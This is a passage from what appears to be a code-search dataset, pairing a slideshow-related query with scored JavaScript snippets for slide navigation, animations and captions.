return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" }, { "docid": "29d2ba6c2299439fa9b75db7758b808c", "score": "0.57210827", "text": "function isResolve(value) {\n return isObject(value) && value.then && value.$$promises;\n }", "title": "" } ]
25297053c38d3a46d86edf3f11b7a118
=buro_slideshows > =SlideDownUpText (home jobs/news)
[ { "docid": "57b135519a0b6ed7b9a097325b2b4236", "score": "0.69893295", "text": "function slideshow_slideDownUpText($slide, $slideExtra, direction, index_this, index_on) {\n var $nextSlide = $slide.filter(\"[data-slideshow-n=\" + index_this + \"]\");\n var $prevSlide = $slide.filter(\"[data-slideshow-n=\" + index_on + \"]\");\n var direction = \"next\";\n\n $nextSlide.addClass(\"on\");\n $nextSlide.find(\".info\").velocity(\"transition.slideUpBigIn\", {\n drag: true\n });\n $prevSlide.find(\".info\").velocity(\"transition.slideUpBigOut-primeIT\", {\n drag: true,\n duration: 600,\n complete: function() {\n $prevSlide.removeClass(\"on\")\n }\n });\n\n} // end slideshow_slideDownUp", "title": "" } ]
[ { "docid": "c052b48719375ee2964b2142099e7aaa", "score": "0.6638219", "text": "function slideshow_slideDownUpTextOLD($slide, $slideExtra, direction, index_this, index_on) {\n var $nextSlide = $slide.filter(\"[data-slideshow-n=\" + index_this + \"]\");\n var $prevSlide = $slide.filter(\"[data-slideshow-n=\" + index_on + \"]\");\n var direction = \"next\";\n\n $nextSlide.addClass(\"on\");\n $nextSlide.find(\".slide\").velocity(\"transition.slideDownCenterText\", {\n drag: true,\n duration: 1000\n });\n $prevSlide.find(\".slide\").velocity(\"transition.slideCenterUpText\", {\n drag: true,\n duration: 1000,\n complete: function() {\n $prevSlide.removeClass(\"on\")\n }\n });\n\n} // end slideshow_slideDownUp", "title": "" }, { "docid": "cf2d928985a7daf9ef20e6afdce98052", "score": "0.61197317", "text": "function slideTextDown() {\n\n\t$('.readmore').hide();\n\t$('#show-this-on-click').slideDown('slow',TextDownCallback);\n}", "title": "" }, { "docid": "b133603d76162c57d22546832795a922", "score": "0.60958916", "text": "function slideTextUp() {\n\t$('#show-this-on-click').slideUp('slow', TextUpCallback);\n\n}", "title": "" }, { "docid": "63aeb8ab7169549a0a3810900ee62e2f", "score": "0.60720617", "text": "get createTitle() {return $('#noSlide > h1');}", "title": "" }, { "docid": "7d6d6c70a3482ec0eb4f2e19237a1226", "score": "0.5970667", "text": "function slideshow_slideDownUpFade($slide, $slideExtra, direction, index_this, index_on) {\n var $nextSlide = $slide.filter(\"[data-slideshow-n=\" + index_this + \"]\");\n var $prevSlide = $slide.filter(\"[data-slideshow-n=\" + index_on + \"]\");\n var direction = \"next\";\n\n var this_height = $nextSlide.attr(\"data-slideshow-height\");\n $slide.parents(\".slideshow-slide-wrapper\").height(this_height);\n\n $nextSlide.addClass(\"on\");\n $nextSlide.find(\".slide\").css(\"opacity\", \"0\");\n $nextSlide.find(\".slide\").velocity(\"transition.slideUpBigIn\", {\n drag: true,\n duration: 1000,\n delay: 150\n });\n $prevSlide.find(\".slide\").velocity(\"transition.slideUpBigOut-jobs\", {\n drag: true,\n duration: 600,\n complete: function() {\n $prevSlide.removeClass(\"on\")\n }\n });\n\n} // end slideshow_slideDownUp", "title": "" }, { "docid": "ba41cface0097a936cc2bfd5ccc4a2c1", "score": "0.5872922", "text": "function defaultSlide() {\r\n // console.log('defaultSlide()');\r\n changeColorAndMenu('textiles-upholstery', true);\r\n }", "title": "" }, { "docid": "1011eef9bc49919f94f774289a365d62", "score": "0.5860129", "text": "function SlideshowToggle(){\n if( G.VOM.playSlideshow ) {\n window.clearTimeout(G.VOM.playSlideshowTimerID);\n G.VOM.playSlideshow=false;\n G.VOM.$viewer.find('.playPauseButton').html(G.O.icons.viewerPlay);\n }\n else {\n G.VOM.playSlideshow=true;\n DisplayNextImage();\n G.VOM.$viewer.find('.playPauseButton').html(G.O.icons.viewerPause);\n }\n }", "title": "" }, { "docid": "87f63f23ef874d2c5237f5c9938d228a", "score": "0.58291847", "text": "function caption(){\n\tvar name = document.images.slide.src.split(\"/\");\n\tvar getlastname = name[name.length-1];\n\t$(\"#caption\").text(getlastname.slice(0,-4));\n}", "title": "" }, { "docid": "82955b2f39d5bf5f85b1071b704c7b78", "score": "0.58286375", "text": "function slideLearnDown() {\n\t$('#learnmoretext').slideDown('slow');\n\t$('.learnmore').hide();\n}", "title": "" }, { "docid": "0d24c73224a4490d242c0fa03144f7aa", "score": "0.58258027", "text": "function titleSlide()\n{\n\twith( document )\n\t{\n\t\twrite( \"<img src='../images/cover.png' alt='\" );\n\t\twrite( gBookTitle ) ;\n\t\twrite( \"' class='cover' />\\n\" ) ;\n\t\twrite( \"<h1> Chapter \" ) ;\n\t\twrite( gChptrNumber ) ;\n\t\twrite( \" &mdash; \" ) ;\n\t\twrite( gChptrTitle ) ;\n\t\twrite( \"</h1>\\n\" ) ;\n\t}\n}", "title": "" }, { "docid": "fe74aa4b8c9ab112ba39308ae902a7f2", "score": "0.5793279", "text": "function next() {\n if (num <= 7) {\n (num == 7) ? num = 0 : {};\n $(\"#slideshow\").attr(\"src\", imageFolder + ++num + ext);\n $(\"#instText\").html(texts[num-1]); \n }\n}", "title": "" }, { "docid": "1f1af702ae68f566d2a2da3492459d25", "score": "0.57895154", "text": "function slide() {\n\t\tindexh = updateSlides( '#main>section', indexh );\n\t\tindexv = updateSlides( 'section.present>section', indexv );\n\t\t\n\t\twriteURL();\n\t}", "title": "" }, { "docid": "a45d0d1c051127c4974c03814775cdf7", "score": "0.5759397", "text": "function slide_up()\n{\n\t$(\".sm-content\").slideUp(10);\n\t$(\".wm-content\").slideUp(10);\n\t$(\".tv-content\").slideUp(10);\n\t$(\".clomen-content\").slideUp(10);\t\n\t$(\".clowomen-content\").slideUp(10);\n\t$(\".bed-content\").slideUp(10);\n\t$(\".lvr-content\").slideUp(10);\n\t$(\".gromen-content\").slideUp(10);\n\t$(\".growomen-content\").slideUp(10);\n}", "title": "" }, { "docid": "50a636214c4524a98fae083d7e1e2c65", "score": "0.57488465", "text": "function slideL() {\r\n var pic=document.getElementsByClassName('slide');\r\n if (i>0) {\r\n pic[i-1].style.display=\"block\";//show previous slide\r\n pic[i].style.display=\"none\";//hide current slide\r\n heart_times=2;//reset heart_times\r\n i--;\r\n } \r\n}", "title": "" }, { "docid": "d6919622dbd5de1193fe0bea16dedb19", "score": "0.57459253", "text": "function autoPlay () {\n nextSlide();\n\n}", "title": "" }, { "docid": "17d3c1b91096c25fdb609504ac5dd2af", "score": "0.57394814", "text": "function showPreviousSlide() {\n showSlide(currentSlide - 1);\n }", "title": "" }, { "docid": "89ee7f16499aeb94b918ba97815052a2", "score": "0.57139176", "text": "function slideTimer()\n{\n swipSlide.next();\n \n}", "title": "" }, { "docid": "bbb41270e38c9182b1d7fd819cda5d34", "score": "0.5710004", "text": "function startSlideshow(pid) {\r\n\tProjects.Slideshow.StartSlideshow( pid );\r\n}", "title": "" }, { "docid": "f73942cb25e7963bd0754267cd780805", "score": "0.56949943", "text": "function slideshow() {\n // Find all slides\n var slides = document.getElementsByClassName(\"slides\");\n\n // Hide them\n for (var currentSlide = 0; currentSlide < slides.length; currentSlide++) {\n slides[currentSlide].style.display = \"none\";\n }\n\n // Increment the slide index\n slideIndex++;\n\n // Loop back around after the final slide\n if (slideIndex > slides.length) {\n slideIndex = 1\n }\n\n // Data category identifier, used to unify slides, charts and their data category:\n // 0 = Waste\n // 1 = Water\n // 2 = Electricity\n // 3 = Gas\n var id = slideIndex - 1;\n\n slides[id].style.display = \"block\";\n drawChart(id);\n updateAnnotation(id);\n updateComment(id);\n\n // Callback after delay has elapsed\n setTimeout(slideshow, delay * 1000);\n}", "title": "" }, { "docid": "9de025378bb1fde1971c8c8421576fb8", "score": "0.56597215", "text": "function slideR() {\r\n var pic=document.getElementsByClassName('slide');\r\n if (i<pic.length) {//if the slide was not the last slide\r\n pic[i+1].style.display=\"block\";//show next slide\r\n pic[i].style.display=\"none\";// hide current slide\r\n heart_times=2;//reset heart_times\r\n i++;\r\n } \r\n}", "title": "" }, { "docid": "fa58c946b61c402f9efe4d718c90a83f", "score": "0.5658841", "text": "function plusSlides(n) {\r\nshowSlides(slideIndex += n);\r\n}", "title": "" }, { "docid": "4c6b7e5283d56b0513ea63cc1be4e26d", "score": "0.5618869", "text": "function slideText() {\r\n\t/* YOUR CODE HERE*/\r\n\tcontainers.forEach(function(container){\r\n\t\tcontainer.classList.toggle('active');\r\n\t})\r\n}", "title": "" }, { "docid": "a9a6b90065bb350e5ad644207878e7fe", "score": "0.5615802", "text": "function change()\r\n{\r\n nextslide()\r\n}", "title": "" }, { "docid": "66be1c29f1c54ccecf5ee3a64c904c4a", "score": "0.5615737", "text": "function plusSlides(slide) {\r\n showSlides(slideIndex += slide); // Either increment by 1 (Next) or decrease by 1 (Previous).\r\n}", "title": "" }, { "docid": "e3b96dc86db764aefb1ebde5cfb6a296", "score": "0.5611395", "text": "function setAnimateTextSlider() {\n var root_slid = $('.sections-wrapper.dsn-parent-slide'),\n section_slider = root_slid.find('.section-slider');\n var tl = new TimelineLite();\n section_slider.each(function () {\n PlayVideo($(this), true);\n });\n if (section_slider.length > 0) {\n var curr_slid = root_slid.find('.dsn-active');\n PlayVideo(curr_slid, false);\n tl.staggerFromTo(curr_slid.find('.inner .subtitle .dsn-word-wrapper .dsn-chars-wrapper '), .05, {\n autoAlpha: 0,\n scaleX: 1.8,\n y: -25\n }, {\n autoAlpha: 1,\n scaleX: 1,\n y: 0,\n ease: Expo.easeIn\n }, .05)\n .staggerFromTo(curr_slid.find('.inner .name-title .dsn-word-wrapper .dsn-chars-wrapper'), .1, {\n autoAlpha: 0,\n scaleX: 1.7,\n skewY: 10,\n rotation: 2,\n x: -50,\n ease: Expo.easeIn\n }, {\n autoAlpha: 1,\n scaleX: 1,\n skewY: 0,\n rotation: 0,\n x: 0,\n ease: Expo.easeIn\n }, 0.09, '-=1');\n\n\n var number = curr_slid.data('number');\n $('.section-footer .number span').text(number);\n }\n }", "title": "" }, { "docid": "2e464323360453fc010bdf5a445b4b74", "score": "0.56048894", "text": "function showpanel() { \n \n $('.slideshow').slickNext();\n }", "title": "" }, { "docid": "ac50cbe33bf7fa85a0b9057a12ee7d0b", "score": "0.5604403", "text": "function setTitle(){\r\n\t\t\tvar el = $('#'+slideid+' > h2');\r\n\t\t\tportfoliotitel = portfoliotitel || el.text();\r\n\t\t\tvar title = pages.eq(currentid).attr('title') || portfoliotitel;\r\n\t\t\tvar current = el.text();\r\n\t\t\tif(current != title){\r\n\t\t\t\tel.fadeOut('fast',function(){\r\n\t\t\t\t\tel.text(title).fadeIn('fast');\r\n\t\t\t\t\tCufon.replace('#'+slideid+' > h2');\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "fc8a5ef3d2d44557962d2674dc0c6240", "score": "0.5599792", "text": "function changeSlides(className) {\r\n //Gets the array of pictures for the featured slideshow\r\n var pictures = document.getElementsByClassName(className);\r\n var titles;\r\n\r\n //Get which page its on\r\n if (className == \"slideshowPic\") {\r\n titles = document.getElementsByClassName(\"featuredTitles\");\r\n } else if (className == \"newSlideshowPic\") {\r\n titles = document.getElementsByClassName(\"newTitles\");\r\n } else if (className == \"popularSlideshowPic\") {\r\n titles = document.getElementsByClassName(\"popularTitles\");\r\n }\r\n\r\n\r\n //Loop through the items and switch the one being displayed to the next one\r\n for (var x = 0; x < pictures.length; x++) {\r\n //If its being displayed\r\n if (pictures[x].style.display == \"inline-block\") {\r\n //Don't display it\r\n pictures[x].style.display = \"none\";\r\n titles[x].style.display = \"none\";\r\n\r\n //Display the next item\r\n if (x == pictures.length - 1) {\r\n pictures[0].style.display = \"inline-block\";\r\n titles[0].style.display = \"inline\";\r\n } else {\r\n pictures[x + 1].style.display = \"inline-block\";\r\n titles[x + 1].style.display = \"inline\";\r\n }\r\n //Exit the loop\r\n x = pictures.length;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "0a63cb34f5fadc78eca29ef18ca868e8", "score": "0.5589018", "text": "function currentSlide(n) {\n displaySlides(slide_index = n);\n}", "title": "" }, { "docid": "1d48d168f474e4445c44c13dc43ca9bd", "score": "0.55796206", "text": "function navPg2() {\n\thideNavigation();\n\tpg2SlideUp();\n}", "title": "" }, { "docid": "613370d6a2ad8e1c7357d9f89ee3d8e5", "score": "0.5559427", "text": "function currentSlide(n) {\n showSlides(slideIndex = n); \n}", "title": "" }, { "docid": "184bc85889ede792961d90a43470f020", "score": "0.5553522", "text": "function getSlideshow() {\n\t\tslideshow = $('.sidenotes').parent();\n\t}", "title": "" }, { "docid": "03f4299e9eacf7d8d4671258d9a9d084", "score": "0.5546785", "text": "function displayNextSlide() {\n\n // récupérer le numéro l'élément cible\n const nextSlideNumber = getNextSlideNumber();\n displaySlide(nextSlideNumber);\n}", "title": "" }, { "docid": "94fc5bd692c9fc0fdcc17e6460ee1495", "score": "0.5539304", "text": "function showtwholesliderbox(sSubHead, sText) {\r\n wsgame.midposition();\r\n document.getElementById(\"tutorialsubhead\").innerHTML = sSubHead;\r\n document.getElementById(\"tutorialtext\").innerHTML = sText;\r\n document.getElementById(\"tutorialarrow\").className = \"tutorialarrowleft\";\r\n var cS = document.getElementById(\"tutorialbox\").style;\r\n cS.left = \"278px\";\r\n cS.top = \"95px\";\r\n cS = document.getElementById(\"tpagetop\").style;\r\n cS.width = \"1230px\";\r\n cS.height = \"40px\";\r\n cS = document.getElementById(\"tpageleft\").style;\r\n cS.width = \"50px\";\r\n cS.height = \"150px\";\r\n cS = document.getElementById(\"tpageright\").style;\r\n cS.width = \"950px\";\r\n cS.height = \"150px\";\r\n cS = document.getElementById(\"tpagebottom\").style;\r\n cS.width = \"1230px\";\r\n cS.height = \"610px\";\r\n // disable the Previous button\r\n enablepreviousbutton(false);\r\n}", "title": "" }, { "docid": "5b87676581ab2c3346f98466e644c59a", "score": "0.55111295", "text": "function callfunc(){ \n pSlides(-1,0);\n }", "title": "" }, { "docid": "3fc06a8e57ea6b28e2984663c95d75b9", "score": "0.550856", "text": "function slide(text){\n\tslideUpAll(); //Hide all drop downs\n\tif(text ==='Food') //Is the value we were passed Food?\n\t{$('.foodlicclass').slideDown();} //If Food slide down the 'foodlicclass'\n\tif(text ==='Public Bathing') //Is it Public Bathing?\n\t{$('.poollicclass').slideDown();} //If Yes, show 'poollicclass'\n\tif(text ==='Lodging') //Is it lodging?\n\t{$('.lodgelicclass').slideDown();} //If Yes, show 'lodgelicclass'\n}", "title": "" }, { "docid": "e249a764f748ec0107da834a646f024d", "score": "0.55076593", "text": "refreshSlideshowButton()\n {\n let node = this.root.querySelector(\"A.slideshow\");\n node.href = ppixiv.app.slideshowURL.url;\n }", "title": "" }, { "docid": "7bf7b582c9c734fde284d2afd24f57af", "score": "0.5483798", "text": "function showNextSlide() {\n showSlide(currentSlide + 1);\n }", "title": "" }, { "docid": "ed54d7764d7ed601afe07e13b5a38264", "score": "0.54783434", "text": "function C009_Library_Outro_Click() {\n\n\t// Jump to the next animation\n\tTextPhase++;\n\tif (TextPhase >= 3) SaveMenu(\"C101_KinbakuClub\", \"Intro\");\n\n}", "title": "" }, { "docid": "3a402ea3bc5a64f406a5aa8bfccc1432", "score": "0.547556", "text": "function plusSlides(num) {\n showSlides((slideIndex += num));\n}", "title": "" }, { "docid": "b9d25006613ead1b78d2ee18256ca06c", "score": "0.5471613", "text": "function plusSlides(n)\n{\n\tshowSlides(slideIndex += n);\n}", "title": "" }, { "docid": "4f7fef25489cdb1ce01f4d863b6e05c5", "score": "0.54564667", "text": "function currentSlide(s) {\r\n displaySlide(slideNumber = s);\r\n}", "title": "" }, { "docid": "237bb8c1b10c52844999e12f803af757", "score": "0.5455702", "text": "function NextSlide(){\n Presentations[Presentations.current].Move('increment');\n}", "title": "" }, { "docid": "d3da35fd414a07ef320d5079982282ee", "score": "0.54471195", "text": "function slideDown() {\n actions.slideDown();\n if (!babyMode)\n actions.randomPop();\n}", "title": "" }, { "docid": "6c00eccfdabc9da55897b539ad09535e", "score": "0.5438734", "text": "function plusSlides(n){\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "894c79b65039b43424386c2b6d23975f", "score": "0.54337883", "text": "function switchSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "13e5626efab8dd6f2396e695bb53cc55", "score": "0.5432211", "text": "function slideshow_slidePicsCities($slide, $slideExtra, $el, direction, index_this, index_on) {\n var $nextSlide = $slide.filter(\"[data-slideshow-n=\" + index_this + \"]\");\n var $prevSlide = $slide.filter(\"[data-slideshow-n=\" + index_on + \"]\");\n\n $nextSlide.addClass(\"on\");\n $prevSlide.removeClass(\"on\");\n $nextSlide.css(\"z-index\", \"10\");\n $prevSlide.css(\"z-index\", \"5\");\n\n if ( index_this == 1 ) {\n $el.find(\".slideshow-arrows.lft\").removeClass(\"on\");\n }else{\n $el.find(\".slideshow-arrows.lft\").addClass(\"on\");\n }\n\n if (direction == \"next\") {\n $nextSlide.velocity(\"slideshow_slidePicsCities.inScaleDownToLeft\", 1300);\n $prevSlide.velocity({\n translateX: 0\n }, 0)\n $prevSlide.velocity(\"slideshow_slidePicsCities.outScaleDownToLeft\", {\n duration: 1400,\n delay: 0\n });\n } else {\n $nextSlide.velocity(\"slideshow_slidePicsCities.inScaleDownToRight\", 1300);\n $prevSlide.velocity(\"slideshow_slidePicsCities.outScaleDownToRight\", 1400);\n }\n\n} // end slideshow_slidePicsCities", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5431084", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5431084", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5431084", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "a8d06d0cc120e0a0f1bf190b9c7b8eea", "score": "0.5431084", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "13dd6918f9e9d12dad56ad68f3863a5e", "score": "0.54298776", "text": "function plusSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "13dd6918f9e9d12dad56ad68f3863a5e", "score": "0.54298776", "text": "function plusSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "13dd6918f9e9d12dad56ad68f3863a5e", "score": "0.54298776", "text": "function plusSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "13dd6918f9e9d12dad56ad68f3863a5e", "score": "0.54298776", "text": "function plusSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "6f5a0831ffcdaf1b51fffb25a6983932", "score": "0.542946", "text": "function plusSlides(n){\n showSlides(slideIndex+=n);\n}", "title": "" }, { "docid": "02ba6c7b9108301cd8517dd608fb71ae", "score": "0.5429091", "text": "function plusSlides(n) {\r\n showSlides(sliderIndex += n);\r\n}", "title": "" }, { "docid": "9f49944ab7c1fb14190760c8d9c03e48", "score": "0.54280037", "text": "function nextSlide(n) {\n displaySlides(slide_index += n);\n}", "title": "" }, { "docid": "92c039280a3fb17336f6ddff44533d39", "score": "0.54252434", "text": "function addNavigation(slides) {\n var up = slides[0].name, down = slides[0].name;\n for (var id=0; id<slides.length; id++) {\n var slide = slides[id];\n if (slide.type != 'section' && slide.type != 'aside') continue;\n var thisUp = slide.node.dataset.up;\n var thisDown = slide.node.dataset.down;\n if (thisDown) down = thisDown;\n slide.node.ontouchstart = grab;\n slide.node.ontouchend = drag;\n var links = slide.node.getElementsByTagName('a');\n for (var i=0; i<links.length; i++) {\n var link = links[i];\n if (! link.classList) continue;\n if (link.classList.contains('up')) {\n if (! slide.back) link.style.visibility = 'hidden';\n else if (thisUp) link.href = '#' + thisUp;\n else link.href = '#' + up;\n }\n if (link.classList.contains('back')) {\n if (! slide.back) link.style.visibility = 'hidden';\n else link.href = '#' + slide.back;\n }\n else if (link.classList.contains('here')) {\n link.href = '#' + slide.id;\n link.onclick = makeBookmark;\n }\n else if (link.classList.contains('next')) {\n if (! slide.next) link.style.visibility = 'hidden';\n else link.href = '#' + slide.next;\n }\n if (link.classList.contains('down')) {\n if (! slide.next) link.style.visibility = 'hidden';\n else link.href = '#' + down;\n }\n }\n if (thisUp) up = slide.name;\n var here = slide.node.querySelector(\".here\");\n if (! here) continue;\n while (here.firstChild) here.removeChild(here.firstChild);\n here.appendChild(document.createTextNode(slide.name));\n }\n }", "title": "" }, { "docid": "98945746182c1ea6a076b70b7f0ef9ef", "score": "0.5419323", "text": "function showNextSlide() {\n showWrap(currentWrap + 1);\n }", "title": "" }, { "docid": "70c238bd9087b599960115f8ec7f9529", "score": "0.5411086", "text": "function slide()\n{\n\tvar sliderOptions =\n\t{\n\t\tcurrentMargin: 0,\n\t\tmarginSpeed: -10\n\t};\n\tvar s = $('#ltitle');\n\n\tif (s.width() >= 288)\n\t{\n\t\tvalue = s.width() - 284;\n\t\ts.css(\"right\", value+\"px\");\n\t}\n}", "title": "" }, { "docid": "299b192f6741830168fd49d502e66366", "score": "0.54077876", "text": "function setup_slideshow_page() {\n // Move all the non-slideshow fields up to z-index 100, so that the slideshow won't overlap them.\n $('div.node-slideshow').children().each(function() {\n var field = $(this);\n if (!field.hasClass('field-name-field-slideshow')) {\n field.addClass('zindex100');\n }\n });\n }", "title": "" }, { "docid": "cf1378df8b7dc024cb0e95098ae946fb", "score": "0.54035586", "text": "function plusSlides(n) {\r\n showSlides((slideIndex += n));\r\n}", "title": "" }, { "docid": "9629e3c2c29513ce46d11fd5fbe03c37", "score": "0.5402293", "text": "function nextPreviousSlides(n) {\n showSlides(slide_num += n);\n}", "title": "" }, { "docid": "43f2ed3661cdcf7a877096ad999ba941", "score": "0.5400749", "text": "function changeSlide(s) {\r\n displaySlide(slideNumber += s);\r\n}", "title": "" }, { "docid": "e523c5d628ebbde43a58c7fa0ef97558", "score": "0.53877854", "text": "function plusSlides(n) {\n showSlides(slideIndex += n); //adds slides one after another\n}", "title": "" }, { "docid": "eff47cc558256038e5a26cce56aaa290", "score": "0.5386376", "text": "function currentSlide(num) {\n showSlides(slideNumber = num);\n}", "title": "" }, { "docid": "782e0407c3d7059d2195654d4d23450f", "score": "0.53860235", "text": "function AddSlide(name)\n{\n\tlast_slide++;\n\tif(name == null) name = last_slide-slides_inserted+slides_deleted;\n\telse {\n\t\tslides_inserted++;\n\t}\n\tfilename[last_slide] = name + \".htm\";\n}", "title": "" }, { "docid": "7310974a5de0e707019a2d6619f239df", "score": "0.5382896", "text": "function currentSlide(n) {\n\tshowSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7310974a5de0e707019a2d6619f239df", "score": "0.5382896", "text": "function currentSlide(n) {\n\tshowSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7310974a5de0e707019a2d6619f239df", "score": "0.5382896", "text": "function currentSlide(n) {\n\tshowSlides(slideIndex = n);\n}", "title": "" }, { "docid": "e9ca0be215c8e5593ede21dc17ecc608", "score": "0.53795695", "text": "function next_slide()\n{\tif (top.current_slide == top.last_slide)\n\t{\talert(\"You are already at the last slide.\\nThere is no next slide.\");\n\t} \n else \n { // if first slide, start by writing out initial zero!\n\tif (top.current_slide == 1) java.lang.System.out.print (\"u 0:0\\t\");\n\tvar theTime = new Date();\n\tvar timeElapsed = theTime.getTime() - top.start_time;\n var currentSlideEndTime = timeElapsed - 100; // end one tenth of second (100 msec) before new slide starts\n\tvar nextSlideStartTime = timeElapsed; \n\tvar currentSlideEndTimeString = timeToString (currentSlideEndTime);\n\t// alert (currentSlideEndTimeString);\n\tvar nextSlideStartTimeString = timeToString (nextSlideStartTime);\n\t// alert (nextSlideStartTimeString);\n\t// var resultString = \"slide: \" + top.current_slide + \" msec: \" + timeString;\n\tjava.lang.System.out.println(currentSlideEndTimeString + \"\\t&&slide&&\" + top.filename[top.current_slide] + \"\\t next slide starts at:\" + timeElapsed.toString());\n\tjava.lang.System.out.print(\"u \" + nextSlideStartTimeString + \"\\t\");\n\tgoto_slide(top.current_slide + 1);\n }\n}", "title": "" }, { "docid": "99304dc452dc307a69c21b9abe988ed6", "score": "0.537205", "text": "function slideRest(){\n cpCmndTOCVisible = false;\n cp.show(pauseID);\n cp.hide(playID);\n stayMute();\n }", "title": "" }, { "docid": "8ddef9a53b36963fde74818140649ca8", "score": "0.53671634", "text": "updateText(event) {\n let _this = event.data;\n let id = $('.item.active').data('slide-number');\n $('#carousel-text').html($('#slide-content-'+id).html());\n }", "title": "" }, { "docid": "c1007b6dd229390f289f717b753538a8", "score": "0.53664565", "text": "function showSlides(n) {\n var i;\n var slides = document.getElementsByClassName(\"mySlides\");\n var dots = document.getElementsByClassName(\"c_cursor\");\n var captionText = document.getElementById(\"caption\");\n if (n > slides.length) {slideIndex = 1}\n if (n < 1) {slideIndex = slides.length}\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n for (i = 0; i < dots.length; i++) {\n dots[i].className = dots[i].className.replace(\"active \", \"\");\n }\n slides[slideIndex-1].style.display = \"block\";\n dots[slideIndex-1].className += \" active\";\n captionText.innerHTML = dots[slideIndex-1].alt;\n\n\n}", "title": "" }, { "docid": "7e820ebab178795f5cbed2399acc0306", "score": "0.53634095", "text": "return() {\n // move to third slide\n this.glide.go(\"=2\");\n }", "title": "" }, { "docid": "b268168e0f8a913848fdb0dec947c80d", "score": "0.53627735", "text": "function LoadAndShow () { //Takes you to the downlaod page\n$('div#container').animate({ //The main page slides to the left. \n left: '-100%', \n\t\topacity: 0.5\n }, 700, function() {\n $('div#container').hide(); //Hide the main page.\n\t\t$('#libtext').show('slow'); //Show the library code\n\t\t$('#back').fadeIn('slow'); //Show the \"<< Back\" link.\n\t\t$('#libTitle').fadeIn('slow');\n });\n}", "title": "" }, { "docid": "8b07caa331d22fe5beb93d2dc4d60f1a", "score": "0.5357579", "text": "function plusSlides(n) {\n\tshowSlides(slideIndex += n);\n}", "title": "" }, { "docid": "8b07caa331d22fe5beb93d2dc4d60f1a", "score": "0.5357579", "text": "function plusSlides(n) {\n\tshowSlides(slideIndex += n);\n}", "title": "" }, { "docid": "8b07caa331d22fe5beb93d2dc4d60f1a", "score": "0.5357579", "text": "function plusSlides(n) {\n\tshowSlides(slideIndex += n);\n}", "title": "" }, { "docid": "8b07caa331d22fe5beb93d2dc4d60f1a", "score": "0.5357579", "text": "function plusSlides(n) {\n\tshowSlides(slideIndex += n);\n}", "title": "" }, { "docid": "02a5903474341c551b64f5b2ca2e4a15", "score": "0.5353286", "text": "function switchSlides(index) {\n\tshowSlides(slideIndex += index);\n}", "title": "" }, { "docid": "03fddb04dc6e6c32831b348f13837406", "score": "0.5350816", "text": "function nextslide(){\n\tdocument.getElementById('home').style.display=\"none\";\n\tdocument.getElementById('home2').style.display=\"block\";\n}", "title": "" }, { "docid": "1a928f14d37a6bdf854cc48789c1edfa", "score": "0.5350318", "text": "function BackButtonClickHandler()\n{\n SlideToPage(\"taskscheduling.html\");\n}", "title": "" }, { "docid": "b1ecdcb76360f34e035cf51845ba94b5", "score": "0.534992", "text": "function plusSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.5347024", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.5347024", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.5347024", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "7685cc091905a96a53345b1ff2baa4b3", "score": "0.5347024", "text": "function currentSlide(n) {\n showSlides(slideIndex = n);\n}", "title": "" }, { "docid": "264221a75894ce6ee83f706f8911fa29", "score": "0.534587", "text": "function slide() {\n\t\tif ( $(\".active\").next().length ) { // existe outra\n\t\t\t$(\".active\")\n\t\t\t\t.fadeOut(\"slow\")\n\t\t\t\t.removeClass(\"active\")\n\t\t\t\t.next() // prox\n\t\t\t\t\t.fadeIn(\"slow\")\n\t\t\t\t\t.addClass(\"active\");\n\t\t} else {\n\t\t\t$(\".active\").fadeOut(\"slow\").removeClass(\"active\");\n\t\t\t$(\"#slide img:eq(0)\").fadeIn(\"slow\").addClass(\"active\");\n\t\t}\n\n\t\tvar texto = $(\".active\").attr(\"alt\");\n\t\t$(\"#slide p\").hide().html(texto).delay(500).show(\"slow\"); // ou fadeIn\n\t}", "title": "" }, { "docid": "4cb997de24aee5088f78589b3db300a4", "score": "0.53455186", "text": "function changeSlides(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "929f607da9a813093c18983fc357774f", "score": "0.53422844", "text": "function slideshow(slide_num) {\n document.getElementById(\"slide\").src = imgArray[slide_num][0];\n document.getElementById(\"slide\").alt = imgArray[slide_num][1];\n}", "title": "" }, { "docid": "064201d4f1ecfa6bbe0369fa29f58822", "score": "0.53411275", "text": "function title() {\n\n push();\n imageMode(CORNER);\n image(titleImage,0,0,windowWidth,windowHeight);\n textFont(\"Times New Roman\");\n textSize(40);\n text(\"THE CODED \\nMULTIDISCIPLINARY GALLERY\",width*0.56,height*0.3);\n textSize(20);\n fill(0);\n text(\"Huyen Tran Pham\",width*0.56,height*0.6);\n text(\"Click to move around in the 